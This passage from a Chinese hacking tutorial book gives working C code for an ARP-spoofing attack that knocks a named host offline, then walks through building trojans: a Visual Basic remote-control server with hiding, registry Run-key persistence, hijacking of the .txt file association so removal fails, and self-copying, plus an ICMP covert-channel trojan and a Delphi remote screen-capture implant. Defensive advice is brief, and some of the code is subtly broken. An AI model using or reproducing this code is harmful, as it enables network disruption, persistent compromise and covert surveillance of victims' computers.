如果成功调用该函数，则会返回一个非零值，并将网络适配器的名称保存在pStr参数所指向的缓冲区中。在调用完该函数后就可以得到所有网络适配器的名称，但有些主机可能拥有多块网卡，就会得到很多网络适配器的名称，此时就需要用户自己选择要打开的网卡。

（2）PacketOpenAdapter。在选择要打开的网卡后，需要调用PacketOpenAdapter函数打开选择的网卡。该函数的具体格式如下。

LPADAPTER PacketOpenAdapter(

LPTSTR AdapterName);

可以看出：该函数只包含参数AdapterName，其表示网络适配器的名称，由PacketGet-AdapterNames返回。如果该函数调用成功，则会返回一个指向正确初始化的_ADAPTER结构的指针，否则就返回NULL。

_ADAPTER结构的具体格式如下：

typedef struct_ADAPTER

{

HANDLE hFile;//一个打开的NPF driver实例的句柄

CHAR SymbolicLink[MAX_LINK_NAME_LENGTH];//当前打开的网卡的名字

int NumWrites;//在这块网卡上,一个数据包被写的次数

HANDLE ReadEvent;//这块网卡上的读操作的通知事件。它可以被传递给标准Win32函数(如WaitForSingleObject或者WaitForMultipleObjects),这样可以等待到driver的缓冲区内有数据到来。

UINT ReadTimeOut;//设置一个时间,到时候即使没有捕获任何包,read操作也会被释放,ReadEvent也会被触发

}ADAPTER,*LPADAPTER;

（3）PacketAllocatePacket。当网卡被成功打开之后，就可以调用PacketAllocatePacket函数为PACKET结构分配空间了。该函数的具体格式如下：

LPPACKET PacketAllocatePacket(void);

该函数没有参数，其调用方式如下：

if((lppackets=PacketAllocatePacket())==FALSE)

{

printf("PacketAllocatePacket Send Error\n");

return-1;

}

如果调用成功，则返回指向_PACKET结构的指针，否则将返回NULL。PacketAllocatePacket函数返回的LPPACKET结构中有指向要发送的数据包（sendbuf）的字段。

该结构的具体定义如下：

typedef struct_PACKET

{

HANDLE hEvent;//向后兼容

OVERLAPPED OverLapped;//向后兼容

PVOID Buffer;//存放Packets的缓冲区

UINT Length;//缓冲区的大小

DWORD ulBytesReceived;//当前缓冲区中有效的字节数,如上一次调用PacketReceivePacket()函数接收到的字节数

BOOLEAN bIoComplete//向后兼容

}PACKET,*LPPACKET;

（4）PacketInitPacket。在得到_PACKET结构指针后，就可以调用PacketInitPacket函数初始化_PACKET结构。该函数的具体格式如下：

VOID PacketInitPacket(

LPPACKET lpPacket,

PVOID Buffer,

UINT Length);

该函数包含的各个参数的具体作用如下：

lpPacket：该参数指向一个_PACKET结构，结构指针由PacketAllocatePacket函数返回。

Buffer：该参数的作用是设置要发送数据包的缓冲区，这里设置为sendbuf。

Length：设置缓冲区的长度。

该函数没有返回值，该函数调用完后会把Buffer参数所指向的缓冲区填充到_PACKET结构的Buffer字段中。

（5）PacketSendPacket。初始化_PACKET结构之后，就可以调用PacketSendPacket函数来发送伪造好的ARP数据包了。该函数的具体格式如下：

BOOLEAN PacketSendPacket(

LPADAPTER AdapterObject,

LPPACKET lpPacket,

BOOLEAN Sync)

其中各个参数的具体作用如下。

AdapterObject：该参数指向一个_ADAPTER结构的指针，该结构由PacketOpenAdapter函数返回。

lpPacket：该参数指向一个_PACKET结构，该结构由PacketAllocatePacket函数返回。

Sync：该参数的作用是向后兼容，设置为True即可。

如果该函数调用成功则会返回一个非零值，否则返回0。

（6）PacketCloseAdapter。在数据发送完毕后，需调用PacketCloseAdapter函数释放打开的网卡。该函数只有一个参数，指向由PacketOpenAdapter函数返回的_ADAPTER结构指针。

4.实现ARP攻击

要实现ARP攻击，还需要在VC中引入Packet32编程包中相应的头文件和连接文件。

下面是利用Packet32实现ARP攻击的实现代码：

#include"stdafx.h"

#include＜stdio.h＞

#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#include"Iphlpapi.h"

#pragma comment(lib,"Iphlpapi.lib")

#include＜Packet32.h＞

#pragma comment(lib,"Packet.lib")

typedef struct ethdr

{

unsigned char eh_dst[6];//目标MAC地址

unsigned char eh_src[6];//源MAC地址

unsigned short eh_type;//帧类型

}ETHDR,*PETHDR;

typedef struct arphdr

{

unsigned short arp_hdr;//2字节硬件类型

unsigned short arp_pro;//2字节协议类型

unsigned char arp_hln;//1字节硬件地址长度

unsigned char arp_pln;//1字节协议地址长度

unsigned short arp_opt;//2字节操作类型

unsigned char arp_sha[6];//6字节发送端MAC地址

unsigned char arp_spa[4];//4字节发送端IP地址

unsigned char arp_tha[6];//6字节目标MAC地址

unsigned char arp_tpa[4];//4字节目标IP地址

}ARPHDR,*PARPHDR;

#define MAX_NUM_ADAPTER 10

char adapterlist[MAX_NUM_ADAPTER][1024];

BOOL GetLocMac(unsigned char*macaddr)

{

PIP_ADAPTER_INFO pAdapterInfo=NULL;

ULONG ulLen=0;

GetAdaptersInfo(pAdapterInfo,＆ulLen);//得到要申请的堆栈空间大小

pAdapterInfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR, ulLen);//申请所需的堆栈空间

if(GetAdaptersInfo(pAdapterInfo,＆ulLen)==ERROR_SUCCESS)//取得本地适配器结构信息

{

if(pAdapterInfo!=NULL)

{

memcpy(macaddr, pAdapterInfo-＞Address,6);//得到本地网卡MAC地址

return TRUE;

}

}

return FALSE;

}

BOOL GetDestMac(char*szDestIP, unsigned char*macaddr)

{

u_char arDestMac[6]={0xff,0xff,0xff,0xff,0xff,0xff};//用来保存目标主机MAC地址

ULONG ulLen=6;

if(SendARP(inet_addr(szDestIP),0,(ULONG*)arDestMac,＆ulLen)==NO_ERROR)//得到目标主机MAC地址

{

memcpy(macaddr, arDestMac,6);//把MAC地址输出到参数

return TRUE;

}

return FALSE;

}

int main(int argc, char*argv[])

{

char AdapterName[8192];//存放适配器名称

ULONG AdapterLength;

if(PacketGetAdapterNames(AdapterName,＆AdapterLength)==FALSE)//得到所有网卡适配器名称

{

printf("PacketGetAdapterNames Error\n");

}

int adapternum=0,open, i;

char*name1,*name2;

name1=AdapterName;

name2=AdapterName;

i=0;

while((*name1!='\0')||(*(name1-1)!='\0'))//列举出所有网卡名称

{

if(*name1=='\0')

{

memcpy(adapterlist[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}

adapternum=i;

printf("Adapters Installed:\n");

for(i=0;i＜adapternum;i++)//输出所有网卡名称

{

printf("%d-%s\n",i+1,adapterlist[i]);

}

do//由用户选择要打开的网卡

{

printf("\nSelect the number of the adapter to open:");

scanf("%d",＆open);

if(open＞=1＆＆open＜adapternum+1)//输入的网卡号必须比1大,比所有网卡数加1小

break;

}while(open＜1||open＞adapternum);

LPADAPTER lpadapter=PacketOpenAdapter(adapterlist[open-1]);//打开选择的网卡

if(!lpadapter||(lpadapter-＞hFile==INVALID_HANDLE_VALUE))

{

printf("PacketOpenAdapter Error\n");

return-1;

}

LPPACKET lppackets;

if((lppackets=PacketAllocatePacket())==FALSE)//为LPPACKET结构分配空间

{

printf("PacketAllocatePacket Send Error\n");

return-1;

}

ETHDR eth;

ARPHDR arp;

GetDestMac("192.168.0.45",eth.eh_dst);//目标MAC地址

GetLocMac(eth.eh_src);//源MAC地址

eth.eh_type=htons(0x0806);//帧类型

arp.arp_hdr=htons(0x0001);//硬件类型

arp.arp_pro=htons(0x0800);//协议类型

arp.arp_hln=6;//硬件地址长度

arp.arp_pln=4;//协议地址长度

arp.arp_opt=htons(0x0002);//操作类型

GetLocMac(arp.arp_sha);//发送端MAC地址

//发送端IP地址,设为网关的IP地址

arp.arp_spa[0]=121;

arp.arp_spa[1]=192;

arp.arp_spa[2]=17;

arp.arp_spa[3]=1;

GetDestMac("192.168.0.45",arp.arp_tha);//目标主机MAC地址

//目标主机MAC地址

arp.arp_tpa[0]=121;

arp.arp_tpa[1]=192;

arp.arp_tpa[2]=17;

arp.arp_tpa[3]=41;

char sendbuf[1024]={0};

memcpy(sendbuf,＆eth, sizeof(eth));//把以太网首部和ARP报文都复制到sendbuf中,组成完整的ARP数据包

memcpy(sendbuf+sizeof(eth),＆arp, sizeof(arp));

PacketInitPacket(lppackets, sendbuf, sizeof(eth)+sizeof(arp));//初始化LPPACKET结构

for(;)//循环发送ARP攻击数据包

{

if(PacketSendPacket(lpadapter, lppackets, TRUE)==FALSE)

{

printf("PacketSendPacket in arpspoof Error:%d\n",GetLastError());

return-1;

}

Sleep(100);

}

PacketCloseAdapter(lpadapter);//关闭打开的网卡

return 0;

}

运行上述程序即可使IP地址为192.168.0.45的主机无法上网，从而实现ARP攻击。

6.4　如何防御黑客进行嗅探

理论上，嗅探程序是不易被检测出来的，因为嗅探程序是一种被动的接收程序，属于被动触发的，它只会收集数据包，而不发送出任何数据。

尽管如此，嗅探程序有时候还是能够被检测出来的。这是因为嗅探程序一般安装在一台正常的局域网内的计算机上，会产生一些数据流。下面介绍几种防御黑客进行嗅探方法。

安全的拓扑结构。由于嗅探器只能在当前网络段上进行数据捕获。所以就可以将网络进行详细的分段，这样嗅探器能够收集的信息就越少。有3种网络设备是嗅探器不可能跨过的：交换机、路由器、网桥，用户可以通过灵活的运用这些设备来进行网络分段。

会话加密。会话加密是另外一种常用的防御嗅探的方法。通过该种方法使嗅探器识别不出嗅探到的数据。这种方法优点在于：即使黑客嗅探到了数据，这些数据对其也没有用。

用静态的ARP或IP-MAC对应表代替动态的ARP或IP-MAC对应表。在嗅探中通常使用的ARP欺骗，其主要是通过欺骗进行ARP动态缓存表的修改。这样在交换机上设置静态的IP-MAC对应表等，可以防止利用该种欺骗手段进行嗅探。

使用ping程序。很多的嗅探器程序，如果发送一个请求给哪台有嗅探程序的机器，它将做出应答。如果怀疑IP地址为192.168.0.45的机器装有嗅探程序，MAC地址为00-1E-8C-17-B0-85，且该机处在局域网中。将其MAC地址修改为00-40-05-A4-79-33后，用ping命令ping这个IP地址。如果看到了应答，说明这个MAC包没有被丢弃，嗅探器就很有可能存在。

6.5　专家点拨

点拨1：在利用ICMP原始套接字实现ping程序的过程中，为什么将循环设置为4次？

解答：无论使用ping程序还是使用ping命令，在运行的结果中可以看出，输出数据有4行，所以循环4次输出数据。

点拨2：资源法生成文件与附加文件法生成文件有什么不同？

解答：资源法就是将一个文件看成以资源的形式编译到另一个文件中，而在编译结束后，将资源导出成为一个独立的文件；而附加文件法生成文件是在一个文件的尾部写入另一个文件的数据，在文件运行时就会创建一个文件，读取自身文件尾部写入的数据，并将读取的数据写入创建的文件中。

点拨3：在利用Packet32实现ARP攻击过程中，为什么要由用户选择要打开的网卡？

解答：在调用完PacketGetAdapterNames函数之后，就可以得到目标主机中网络适配器的名称，但该主机可能拥有多块网卡，这样就会得到不止一个网络适配器的名称，此时就需要选择要打开的网卡。

6.6　总结与经验积累

本章主要介绍了文件生成技术、黑客程序配置以及数据包嗅探三方面的内容。对于黑客程序必须经过设置才可以更好地实现隐藏的目的。如果黑客程序包含很多文件，这样就会入侵带来不便，所以必须使用文件生成技术对其进行处理。

而数据包嗅探（Packet Sniffer）是一种危害比较大的被动攻击方式，且嗅探也容易被广大用户所忽略。由于计算机网络嗅探器可以窃听计算机程序在网络上发送和接收到的数据，所以嗅探器可以帮助用户监控异常网络流量，从而更好地管理好网络。

第7章
编程攻击与防御实例

重点提示

♂通过程序创建木马攻防实战

♂隐藏防复制程序的运行

在黑客肆意横行的今天，各式各样的黑客工具、各种功能的木马使人应接不暇，也使得网络管理员对其恨之入骨。本章将介绍如何通过编程方法进行攻击及防御黑客攻击。

7.1　通过程序创建木马攻防实战

黑客使用工具中使用最多的就是木马，这也是黑客最简单也是最得心应手的武器。本节将介绍使用几种常见编程语言来编写木马程序的具体过程，让大家了解木马病毒工作的原理，从而轻松采取防御木马病毒的防范措施。

7.1.1　VB木马编写与防范

木马一般分为两个主程序，即服务器程序（server）和客户端程序（client）。其中服务器程序是给攻击对象用的，而客户端程序才是给黑客自己用的。下面介绍使用VB语言创建木马的具体过程。

1.创建木马

在这里编写木马的语言工具是Visual Basic中文版。具体的操作步骤如下。

步骤1　下载并安装Microsoft Visual Basic 6.0中文版，安装完毕后启动该软件，其主窗口如图7-1所示。选择【文件】→【新建工程】菜单项，即可弹出一个【新建工程】对话框，如图7-2所示。

图　7-1　【Visual Basic 6.0中文版】窗口

图　7-2　【新建工程】对话框

步骤2　选择默认的“标准EXE”选项之后，单击【确定】按钮，即可弹出新建好的工程和窗口，如图7-3所示。在左边【工程】窗口中右击新创建的工程，在弹出的快捷菜单中选择“属性”选项，即可打开【工程属性】对话框，如图7-4所示。

图　7-3　工程界面

图　7-4　【工程属性】对话框

步骤3　在“工程名称”文本框中输入Server后，单击【确定】按钮，即可将新创建工程的名称修改为Server，如图7-5所示。

图　7-5　修改后工程的名称

步骤4　在完成新建工程之后，在窗体中加入一个winsock控件，Name设为sckServer，协议设为默认的TCP/IP协议。双击Server窗体模块，在其中添加相应的代码，如图7-6所示。

图　7-6　给服务端添加相应的控制代码

添加的代码如下：

Private Sub FORM_Load()

With Me

.sckServer.LocalPort=4000//本地端口

.sckServer.Listen//开始监听

End With

End Sub

//接收客户端的连接请求

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)

With Me

If sckServer.State＜＞sckClosed Then.sckServer.Close

.sckServer.Accept(requestID)

End With

End Sub

步骤5　建立客户端程序。新建一个名为"Client"的工程，把窗体名设为"Client"，在上面加入一个winsock控件，名为sckClient，协议为TCP/IP协议。再添加一个"cmdConnect"按钮，在窗体模块中加入相应的控制代码，如图7-7所示。加入的代码如下：

Private Sub FORM_Load()

With Me

.sckClient.RemoteHost="127.0.0.1"//设置远程IP,本例设为本机

.sckClient.RemotePort=4000//远程端口,与server中的设置一样

End With

End Sub

Private sub cmdConnect_Click()

SckClient.Connect

End sub

单击【Connect】按钮，创建的两个工程就可以进行通信了。但这种通信是不可见的，要想查看两个工程间的通信，可以在Client的sckClient_Connect事件中加入代码：debug.print"Connection successful！"。这仅是第一步，下面为其添加一些其他的功能。

图　7-7　给客户端添加相应的控制代码

2.给客户端和服务器添加基本功能

这里给木马添加一些常见功能，如关机、重启和注销等。具体的操作步骤如下。

步骤1　在Microsoft Visual Basic 6.0中打开在Server，选择【工程】→【添加模块】菜单项，即可打开【添加模块】对话框，如图7-8所示。

图　7-8　【添加模块】对话框

步骤2　在其中选择“模块”图标之后，单击【打开】按钮，即可打开新添加的模块，如图7-9所示。

图　7-9　打开添加的模块

步骤3　右击新添加的模块，在弹出的快捷菜单中选择“模块属性”选项，即可打开【模块属性】窗口，在其中将其名称修改为modApi，如图7-10所示。

图　7-10　修改模块名称

步骤4　在modApi模块中如下API函数，添加后的情况如图7-11所示。在两个socket编程中进行通信的重要事件是DataArrival事件，用于接收远程数据。

Public Declare Function ExitWindowXXX Lib"user32"(ByVal uFlags As Long,

ByVal dwReserved As Long)As Long

Public Const EWX_LOGOFF=0

Public Const EWX_REBOOT=2

Public Const EWX_SHUTDOWN=1

Public Declare Function ClipCursor Lib"user32"(lpRect As Any)As Long

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

图　7-11　输入API函数

步骤5　在Client工程的Client窗体中放入三个按钮，分别是cmdExit、cmdLogoff、cmdReboot，用于对远程的关机、注销、重启操作。再在其中分别添加如下代码，添加后的情况如图7-12所示。

图　7-12　添加按钮代码

Private Sub cmdExit_Click()

Me.sckClient.SendData"Exit"

End Sub

Private Sub cmdLogoff_Click()

Me.sckClient.SendData"Logoff"

End Sub

Private Sub cmdReboot_Click()

Me.sckClient.SendData"Reboot"

End Sub

上述代码全都是对服务端发出请求。下面转到Server工程中，在Server中添加sckServer的DataArrial事件，接收客户端的请求。

步骤6　在Server工程的sckServer控件上添加如下代码：

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

With Me//接收客户端所请求的信息

.sckServer.GetData strData

Select Case strData

Case"Exit"//关闭计算机

Call ExitWindowXXX(EWX_SHUTDOWN,0)

Case"Reboot"//重启计算机

Call ExitWindowXXX(EWX_REBOOT,0)

Case"Logoff"//注销

Call ExitWindowXXX(EWX_LOGOFF,0)

End Select

End With

End Sub

至此，就已经可以实现基本功能了。

3.使木马在后台运行

由于木马是恶意病毒，为避免在运行时很容易被系统管理员发现，如果使木马在后台运行，则需要在Server中添加form_Load事件的"me.hide"代码。

4.实现木马开机运行的功能

现在很多木马都具有开机自启动功能，该功能是通过把木马加入到注册表的启动组中来实现的。其实现步骤如下：

步骤1　在Server工程的modApi函数中加入如下API函数。

Public Declare Function RegOpenKey Lib"advapi32.dll"Alias"RegOpenKeyA"(ByVal hKey As

Long, ByVal lpSubKey As String, phkResult As Long)As Long

Public Declare Function RegSetvalueEx Lib"advapi32.dll"Alias"RegSetvalueExA"

(ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long,

lpData As Any, ByVal cbData As Long)As Long

Public Declare Function RegCreateKey Lib"advapi32.dll"Alias"RegCreateKeyA"(ByVal hKey

As Long, ByVal lpSubKey As String, phkResult As Long)As Long

Public Const REG_BINARY=3

Public Const REG_SZ=1

Public Const HKEY_LOCAL_MACHINE=＆H70000002

Public Const HKEY_CLASSES_ROOT=＆H70000000

步骤2　将木马进程添加到注册表中。此时用到的代码如下：

Public Sub StartupGroup()

Dim sKey As String

Dim result As Long

Dim hKeyID As Long

Dim sKeyVal As String

sKey="Systrsy"//注册表启动组中的键,寻找一个与系统文件相近的木马程序路径,可用GetSystemDirectory来获取系统路径

sKeyVal="C:/windows/system/systrsy.exe"

result=RegOpenKey(HKEY_LOCAL_MACHINE,_"Software/Microsoft/Windows/CurrentVersion

/Run",hKeyID)

If result=0 Then

result=RegSetvalueEx(hKeyID, sKey,0＆,REG_SZ, sKeyVal, Len(sKey)+1)

End If

End Sub

这样，就可以将木马添加到注册表中了。

5.防止木马被删

即使木马在后门运行，有经验的网络管理员仍然可以发现并删除隐藏在计算机中的木马。所以就必须采取措施，使管理员即使发现木马也删不掉，如可采用创建木马和文件的关联来实现这个功能。创建木马和文件的关联，可以使用如下的代码：

Public Sub WriteToTxt()

Dim result As Long

Dim hKeyID As Long

Dim skey As String

Dim skeyVal As String

skey="txtfile/shell/open/command"

skeyVal="C:/windows/system/txtView.exe"

result=RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

If result=0 Then

result=RegSetvalueEx(hKeyID, skey,0＆,REG_SZ, skeyVal, Len(skeyVal)+1)

End If

End Sub

上述代码是将木马程序与txt文件进行关联，但创建木马是C:windows/system/systrsy.exe，而文件C:/windows/system/txtView.exe是前面所创建木马的一个复制体。

6.完成木马的编写

在设置完木马与文件关联后，还需要将木马程序复制到系统文件中，以便下次开机运行。此时需要返回到Server工程的Server窗体的form_Load中，加入如下代码：

Dim sCurrentPath As String, sSystemDir As String

sCurrentPath=App.Path＆"/"＆App.EXEName＆".exe"

sSystemDir="C:/windows/system"

On Error Resume Next

//复制文件成系统目录下的Systrsy.exe

FileCopy sCurrentPath, sSystemDir＆"/Systrsy.exe"

On Error Resume Next

//复制文件成系统目录下的txtView.exe

FileCopy sCurrentPath, sSystemDir＆"/txtView.exe"

//调用

Call startupGroup

Call WriteToTxt

//判断程序是否正在运行

If App.PrevInstance Then

//如果已经运行就退出

End

End If

在添加完成之后，木马程序基本上已经编写结束了，将其编译成EXE文件，程序只要一经运行就会把自身复制到系统目录下（还带一个分身），下次开机即可自动运行，这样就可以成功黑掉对方的电脑了。即使对方发现把它给删了，一旦打开TXT文件，木马又可以复活，怎么删也删不掉。

7.1.2　基于ICMP的VC木马编写

由于ICMP报文是由系统内核或进程直接处理而不是通过端口，这就给木马一个摆脱端口的绝好机会，木马可以将自己伪装成Ping程序，这样系统就会将ICMP_ECHOREPLY（Ping的回应包）的监听、处理权交给木马进程。一旦事先约定好的ICMP_ECHOREPLY包出现（可以判断包大小、ICMP_SEQ等特征），木马就会接受、分析并从报文中解码出命令和数据。

ICMP_ECHOREPLY数据包可穿透防火墙和网关。常见的Ping of Death、ICMP风暴、ICMP碎片攻击等，都是通过构造ICMP报文进行攻击，所以一般的防火墙都会对ICMP报文进行过滤。但ICMP_ECHOREPLY报文往往不会在过滤策略中出现，这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作，这样对于用户是极其不好的。如果设置正确，ICMP_ECHOREPLY报文也能穿过网关，进入局域网。

使用VC++编写基于ICMP木马的具体操作步骤如下。

步骤1　为了实现发送/监听ICMP报文，需要建立SOCK_RAW（原始套接口），并定义一个IP首部。其具体格式如下。

typedef struct iphdr{

unsigned int version:4;//IP版本号,4表示IPv4

unsigned int h_len:4;//4位首部长度

unsigned char tos;//7位服务类型TOS

unsigned short total_len;//16位总长度(字节)

unsigned short ident;//16位标识

unsigned short frag_and_flags;//3位标志位

unsigned char ttl;//7位生存时间(TTL)

unsigned char proto;//7位协议(TCP、UDP或其他)

unsigned short checksum;//16位IP首部校验和

unsigned int sourceIP;//32位源IP地址

unsigned int destIP;//32位目的IP地址

}IpHeader;

步骤2　定义一个ICMP首部。其具体格式如下。

typedef struct_ihdr{

BYTE i_type;//7位类型

BYTE i_code;//7位代码

USHORT i_cksum;//16位校验和

USHORT i_id;//识别号(一般用进程号作为识别号)

USHORT i_seq;//报文序列号

ULONG timestamp;//时间戳

}IcmpHeader;

步骤3　通过WSASocket来建立一个原始套接口。其具体内容如下。

SockRaw=WSASocket(

AF_INET,//协议族

SOCK_RAW,//协议类型,SOCK_RAW表示是原始套接口

IPPROTO_ICMP,//协议,IPPROTO_ICMP表示ICMP数据报

NULL,//WSAPROTOCOL_INFO置空

0,//保留字,永远置为0

WSA_FLAG_OVERLAPPED//标志位

);

注意　为了使用发送接收超时设置（设置SO_RCVTIMEO, SO_SNDTIMEO），必须将标志位置为WSA_FLAG_OVERLAPPED。

步骤4　在创建好原始套接口后，就可以使用fill_icmp_data子程序填充ICMP报文段了。fill_icmp_data子程序的具体内容如下。

void fill_icmp_data(char*icmp_data, int datasize)

{

IcmpHeader*icmp_hdr;

char*datapart;

icmp_hdr=(IcmpHeader*)icmp_data;

icmp_hdr-＞i_type=ICMP_ECHOREPLY;//类型为ICMP_ECHOREPLY

icmp_hdr-＞i_code=0;

icmp_hdr-＞i_id=(USHORT)GetCurrentProcessId();//识别号为进程号

icmp_hdr-＞i_cksum=0;//校验和初始化

icmp_hdr-＞i_seq=0;//序列号初始化

datapart=icmp_data+sizeof(IcmpHeader);//数据端的地址为icmp报文地址加上ICMP的首部长度

memset(datapart,"A",datasize-sizeof(IcmpHeader));//这里填充的数据全部为"A",也可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。

}

步骤5　需要调用CheckSum函数计算ICMP校验和。具体的调用方法如下。

((IcmpHeader*)icmp_data)-＞i_cksum=checksum((USHORT*)icmp_data, datasize);//调用CheckSum函数

USHORT CheckSum(USHORT*buffer, int size)

{

unsigned long cksum=0;

while(size＞1)

{

cksum+=*buffer++;

size-=sizeof(USHORT);

}

if(size)cksum+=*(UCHAR*)buffer;

cksum=(cksum＞＞16)+(cksum＆0xffff);

cksum+=(cksum＞＞16);

return(USHORT)(～cksum);//CheckSum函数是标准的校验和函数,也可用优化过的任何校验和函数来代替它

}

步骤6　通过sendto函数来发送ICMP_ECHOREPLY报文。该函数的具体格式如下。

sendto(sockRaw, icmp_data, datasize,0,(struct sockaddr*)＆dest, sizeof(dest));

步骤7　在发送完成后，就需要使用recvfrom函数接收ICMP_ECHOREPLY报文，并用decoder函数将接收到的报文解码解析成数据和命令。这部分的实现代码如下。

recv_icmp=recvfrom(sockRaw, recvbuf, MAX_PACKET,0,(structsockaddr*)＆from,＆fromlen;

decode_resp(recvbuf, recv_icmp,＆from);

//decoder函数

void decoder(char*buf, int bytes, struct sockaddr_in*from)

{

IpHeader*iphdr;

IcmpHeader*icmphdr;

unsigned short iphdrlen;

iphdr=(IpHeader*)buf;//IP首部的地址就等于buf的地址

iphdrlen=iphdr-＞h_len*4;//因为h_len是32位word,要转换成bytes必须*4

icmphdr=(IcmpHeader*)(buf+iphdrlen);//ICMP首部的地址等于IP首部长加buf

printf("%d bytes from%s:",bytes, inet_ntoa(from-＞sin_addr));//取出源地址

printf("icmp_id=%d.",icmphdr-＞i_id);//取出进程号

printf("icmp_seq=%d.",icmphdr-＞i_seq);//取出序列号

printf("icmp_type=%d",icmphdr-＞i_type);//取出类型

printf("icmp_code=%d",icmphdr-＞i_code);//取出代码

for(i=0;//取出数据段

}

注意　一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文，就不能再用Ping这个工具了；如果过滤了所有的ICMP报文，就收不到任何错误报文，这样，使用IE访问一个并不存在的网站时将收不到网络不可达、主机不可达和端口不可达报文，往往要花数倍的时间才能知道结果，且基于ICMP协议的tracert工具也会失效。

对于此种木马的防范，除非使用嗅探器或者监视Windows的SockAPI调用，否则从网络上是很难发现木马的行踪的。

7.1.3　基于Delphi的木马编写

黑客们经常使用一些系统监控工具对目标计算机进行监视，它不仅监视目标计算机重启、关机等操作，还对目标主机日常操作进行设置。要想完全控制目标主机，就应先对其进行监控。本节将通过UDP协议来实现远程监视屏幕，这里使用的不是TCP/IP协议。

UDP（User Datagram Protocol，用户报文协议）是Internet上广泛采用的通信协议之一。它是一种非连接的传输协议，虽然其没有确认机制，可靠性不如TCP，但其效率非常高，适合用于远程屏幕监视。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程较为简单，可选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。

1.实现过程

远程监视屏幕是黑客入侵时所用的工具的一个重要功能，它通常由一个客户端和服务端组成，当目标主机上运行服务端程序时，可使用客户端程序来实现远程监视其屏幕。这里需要使用Delphi语言编写一个装在受控机上发送端程序VClient.exe和一个在主控机上接收端程序VServer.exe。其中VServer.exe指定要监视的受控机的IP地址和在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe；当VClient.exe得到指令后在受控机屏幕上选取指定区域，生成数据流将其发回主控机，并在主控机上显示抓取区域的BMP图像。

注意　由以上过程可以看出，该方法有两个关键所在：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输数据。

2.编写发送端程序

在了解远程监视屏幕的具体实现过程后，即可编写发送端程序。具体操作步骤如下：

步骤1　在Delphi 7.0中新建一个Name属性为"Client"的Delphi工程，加入TNMUDP控件并将其Name属性设为"CUDP"。

步骤2　将LocalPort属性设为“1433”，以便让控件CUDP监视受控机的1433端口，当有数据发送到该口时，就会触发CUDP控件中的OnDataReceived事件。

步骤3　将RemotePort属性设为“1455”之后，当控件CUDP发送数据时，就会将数据发到主控机的1455口。

步骤4　在implementation后面加入变量定义。

const BufSize=2047;{发送每一笔数据的缓冲区大小}

var

BmpStream:TMemoryStream;

LeftSize:Longint;{发送每一笔数据后剩余的字节数}

步骤5　为Client的OnCreate事件添加相应的动作代码，添加的代码如下。

procedure TClient.FormCreate(Sender:TObject);

begin

BmpStream:=TMemoryStream.Create;

end;

步骤6　为Client的OnDestroy事件添加如下的动作代码。

procedure TClient.FormDestroy(Sender:TObject);

begin

BmpStream.Free;

end;

步骤7　为控件CUDP的OnDataReceived事件添加如下的动作代码。

procedure TClient.CUDPDataReceived(Sender:TComponent;

NumberBytes:Integer;FromIP:String);

var

CtrlCode:array[0..29]of char;

Buf:array[0..BufSize-1]of char;

TmpStr:string;

SendSize, LeftPos, TopPos, RightPos, BottomPos:integer;

begin

CUDP.ReadBuffer(CtrlCode, NumberBytes);//读取控制码

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show'then

begin//控制码前4位为"show"表示主控机发出了抓屏指令

if BmpStream.Size=0 then//没有数据可发,必须截屏生成数据

begin

TmpStr:=StrPas(CtrlCode);

TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);

LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

TmpStr:=Copy(TmpStr, Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));

TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

TmpStr:=Copy(TmpStr, Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));

RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));

BottomPos:=StrToInt(Copy(TmpStr, Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));

ScreenCap(LeftPos, TopPos, RightPos, BottomPos);//截取屏幕

end;

if LeftSize＞BufSize then SendSize:=BufSize

else SendSize:=LeftSize;

BmpStream.ReadBuffer(Buf, SendSize);

LeftSize:=LeftSize-SendSize;

if LeftSize=0 then BmpStream.Clear;//清空流

CUDP.RemoteHost:=FromIP;//FromIP为主控机IP地址

CUDP.SendBuffer(Buf, SendSize);//将数据发到主控机的1455端口

end;

end;

步骤8　上述ScreenCap是自定义函数，其作用是截取屏幕指定区域，其具体格式如下。

procedure TClient.ScreenCap(LeftPos, TopPos, RightPos, BottomPos:integer);

var

RectWidth, RectHeight:integer;

SourceDC, DestDC, Bhandle:integer;

Bitmap:TBitmap;

begin

RectWidth:=RightPos-LeftPos;

RectHeight:=BottomPos-TopPos;

SourceDC:=CreateDC('DISPLAY','','',nil);

DestDC:=CreateCompatibleDC(SourceDC);

Bhandle:=CreateCompatibleBitmap(SourceDC, RectWidth, RectHeight);

SelectObject(DestDC, Bhandle);

BitBlt(DestDC,0,0,RectWidth, RectHeight, SourceDC, LeftPos, TopPos, SRCCOPY);

Bitmap:=TBitmap.Create;

Bitmap.Handle:=BHandle;

BitMap.SaveToStream(BmpStream);

BmpStream.Position:=0;

LeftSize:=BmpStream.Size;

Bitmap.Free;

DeleteDC(DestDC);

ReleaseDC(Bhandle, SourceDC);

end;

步骤9　最后将新创建的工程保存为"C:VClientClnUnit.pas"和"C:VClientVClient.dpr"并编译。至此，VClient.exe文件的编制就完成了。

3.编写接收端程序

在发送端文件编写完毕后，就可以开始编写接收端VServer.exe文件了。

具体的操作步骤如下。

